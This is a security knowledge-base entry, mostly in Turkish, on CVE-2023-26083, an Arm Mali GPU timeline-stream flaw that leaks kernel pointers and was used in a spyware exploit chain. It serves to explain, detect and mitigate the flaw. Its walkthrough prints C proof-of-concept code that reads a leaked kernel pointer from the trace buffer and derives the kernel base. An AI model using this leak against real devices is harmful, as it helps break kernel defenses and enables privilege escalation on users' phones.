CVE-2023-26083: Arm Mali GPU kernel pointer leak (Timeline Stream / KASLR bypass, in-the-wild)¶
Mali'nin "timeline stream" performance-tracing tesisi, ham kernel object pointer'larını event identifier'ı olarak kullanıyor ve unprivileged app'ler tarafından okunabiliyordu — userland'e, gerçek bir in-the-wild spyware exploit chain'inde kullanılan deterministik bir KASLR break veriyordu.
Mechanism¶
Unprivileged bir trace stream'de object ID olarak kernel pointer'ları
Arm'ın Mali kbase driver'ı, çeşitli şekillerde timeline stream, tlstream veya tl denen bir tracing tesisi sunar. GPU ile ilgili event'leri (queue oluşturma, fence wait'leri, command stream aktivitesi vb.) user space'in bir file descriptor üzerinden okuduğu bir ring buffer'a kaydeder. Kritik olarak, iki tasarım kararı birleşip bir information-disclosure zafiyetine dönüştü:
-
Identifier olarak pointer'lar. Event'leri ilişkilendirmek için trace mesajları kernel object'leri kernel virtual address'leriyle tanımlar — driver,
kbase_kcpu_command_queueve ilişkilidma_fencegibi object'lerin ham pointer'ını doğrudan mesaj payload'ına serialize eder. Pointer, object ID'sidir. -
Unprivileged erişim. Stream'e unprivileged kod ulaşabiliyordu ve yalnızca çağıranın kendi GPU operasyonlarını değil, sistem genelinde GPU operasyonlarını trace ediyordu. Sıradan bir app stream'i acquire edip tüm cihazdaki aktivitenin ürettiği kernel address'lerini okuyabiliyordu.
İhlal edilen invariant, KASLR için temeldir: kernel virtual address'leri unprivileged user space tarafından asla gözlemlenebilir olmamalı. KASLR, bir attacker'ın kodun ve structure'ların nerede olduğunu bilememesi için her boot'ta kernel base'ini randomize eder. Tek bir leak edilmiş, tanımlanabilir kernel pointer'ı o defansı çökertir — leak edilmiş bir object address'i ve o object type'ın kernel base'e veya kendi slab'ine göre bilinen (sabit) offset'i verildiğinde attacker şunu hesaplar:
olasılıksal tahmini deterministik bir KASLR bypass'ına (CWE-200 information exposure) çevirir. Leak'in kendisi hiç write gücü vermez, ama olanak sağlayan ilk aşamadır: kernel layout bilindiğinde, ayrı bir memory-corruption bug'ı hassasça nişanlanabilir. Belgelenen in-the-wild chain'de leak edilen address, forge edilmiş kernel data'yı yerleştirmek ve konumlandırmak için kullanıldı, sonra da arbitrary read/write ve root için ikinci bir bug ile eşleştirildi.
In-the-wild exploit edildi — ticari spyware
CVE-2023-26083, ticari spyware aktivitesine atfedilen gerçek bir Android exploit chain'inde 0-day olarak kullanıldı (Google'ın Threat Analysis Group'u üzerinden raporlandı, ilgili Project Zero analiziyle). Arm raporu 2023-01-17'de aldı; 2023-04-07'de CISA Known Exploited Vulnerabilities kataloğuna eklendi. Etkilenen Mali driver hatları Midgard, Bifrost, Avalon ve Valhall nesillerini kapsıyor.
Walkthrough¶
Leak'e tamamen unprivileged bir process'ten, timeline stream'i acquire edip trace mesajlarından kernel pointer'larını okuyarak ulaşılır.
Kapsam: bu walkthrough yalnızca Mali leak'ini gösterir
Aşağıdaki adımlar sadece Mali timeline-stream leak'ini (KASLR break + deterministik grooming anchor) adım adım kapsar; code execution vermez. Tam in-the-wild exploit chain'i (code execution için CVE-2023-0266 ALSA UAF ile eşleşme) için References'taki Google Project Zero analizine bak; chain context'i "Mitigation note" bölümünde de özetlenir.
kbase timeline stream üzerinden kavramsal leak akışı
/* 1. Open the Mali kbase device node. */
int fd = open("/dev/mali0", O_RDWR);
/* 2. Version handshake + flags (normal kbase init). */
ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &ver);
ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags);
/* 3. Acquire a timeline-stream fd. On CSF GPUs a flag enables the
* tracepoints whose messages carry kernel pointers. */
struct kbase_ioctl_tlstream_acquire acq = {
.flags = BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS,
};
int tl_fd = ioctl(fd, KBASE_IOCTL_TLSTREAM_ACQUIRE, &acq);
/* 4. Cause an event that logs a pointer, e.g. create a KCPU queue. */
ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_CREATE, &q);
/* 5. read() the trace stream and parse out the kernel pointer.
* The NEW_KCPUQUEUE message embeds the raw kbase_kcpu_command_queue
* pointer; later fence-wait messages embed dma_fence pointers. */
unsigned char buf[4096];
read(tl_fd, buf, sizeof(buf));
/* message layout (per public analysis): */
/* bytes 0-3 : message ID (e.g. NEW_KCPUQUEUE) */
/* bytes 4-11 : timestamp */
/* bytes 12-19 : leaked kcpu_queue kernel pointer <---- */
uint64_t leaked = *(uint64_t *)(buf + 12);
/* 6. Derive the kernel base from the known offset of this object. */
uint64_t kernel_base = leaked - KNOWN_OFFSET;
Serialization, kbase tlstream tracepoint emitter'larında gerçekleşir (örn.
new-KCPU-queue ve enqueue-fence-wait event'lerini loglayan fonksiyon), ki
bunlar tam 64-bit pointer'ı hiç redaksiyon yapmadan user-readable ring
buffer'a memcpy eder.
Patched bir cihazda beklenen davranış: timeline stream'i acquire etmek yükseltilmiş privilege gerektirir, böylece unprivileged bir app buffer'ı hiç okuyamaz — pointer'lar asla açığa çıkmaz.
Detection¶
- Patch level. Unprivileged tlstream erişimini kısıtlayan Aralık 2023 (veya vendor'ın karşılık gelen) security update'ini doğrula; etkilenen Arm driver versiyonları için Arm'ın CVE-2023-26083 rehberini izle.
- Behavioral.
/dev/mali0açan,KBASE_IOCTL_TLSTREAM_ACQUIREissue eden ve elde edilen fd'yiread()eden unprivileged bir process temel sinyaldir — özellikle tek amacı pointer taşıyan trace mesajları yaymak olan KCPU queue / fence operasyonları izlediğinde.
Mitigation¶
- Gerçek fix olan, timeline stream'i privileged caller'larla kısıtlayan Arm/Android update'ini uygula (tesis artık unprivileged kod tarafından acquire edilemez).
- Defense in depth: platformun izin verdiği yerde app sandbox'larına GPU debug/trace ioctl'lerine erişimi reddet; kernel-pointer taşıyan her interface'i privileged-only olarak ele al.
Mitigation note¶
Bu bug saf bir info leak; onu mitige etmek KASLR-bozan bir primitive'i
kaldırır ama tek başına chain'lenmiş bir corruption bug'ını durdurmaz.
Defender'lar, böyle chain'lerde kullanılan eşleşmiş write/UAF zafiyetinin
(örn. çağdaş Mali memory-corruption CVE'leri) de patch'lendiğinden emin
olmalı. Project Zero'nun belgelediği in-the-wild chain'de bu Mali primitive,
ayrı bir ALSA use-after-free ile eşleştirildi: CVE-2023-0266, ALSA
PCM/control katmanında (sound/core/control.c) SNDRV_CTL_IOCTL_ELEM_READ /
..._WRITE ioctl'lerinde eksik rwsem locking'in yol açtığı bir race condition
sonucu snd_kcontrol object'inin serbest bırakıldıktan sonra kullanılmasıyla
(UAF) kernel arbitrary read/write veren, bağımsız bir privilege-escalation
bug'ıdır. İki bug'ın birlikte kullanıldığı (Mali leak → KASLR + deterministik
yerleşim, ALSA UAF → write/root) bu pairing,
Project Zero'nun "Analyzing a Modern In-the-Wild Android Exploit" analizinde
belgelenmiştir. Mali leak'i hem KASLR'ı kırdı hem de bilinen bir kernel adresine
küçük miktarda (gözlemlenen ~16 byte) kontrollü veri yerleştirme imkânı vererek
UAF refill'ini olasılıksal spray yerine deterministik hale getirdi. Bu yüzden
mitigation'ı çift taraflı düşün: leak (CVE-2023-26083) ve eşleşen
corruption bug'ı (CVE-2023-0266) birlikte patch'lenmeli.
CVE-2023-0266 hakkında not
Eşleşen ALSA UAF'ı (CVE-2023-0266) bu KB'de ayrı bir kayıt olarak belgelenmemiştir; burada yalnızca chain context'i için özetlenmiştir. İki bug'ın birlikte kullanıldığı pairing'in birincil kaynağı, yukarıda atıf verilen Project Zero analizidir.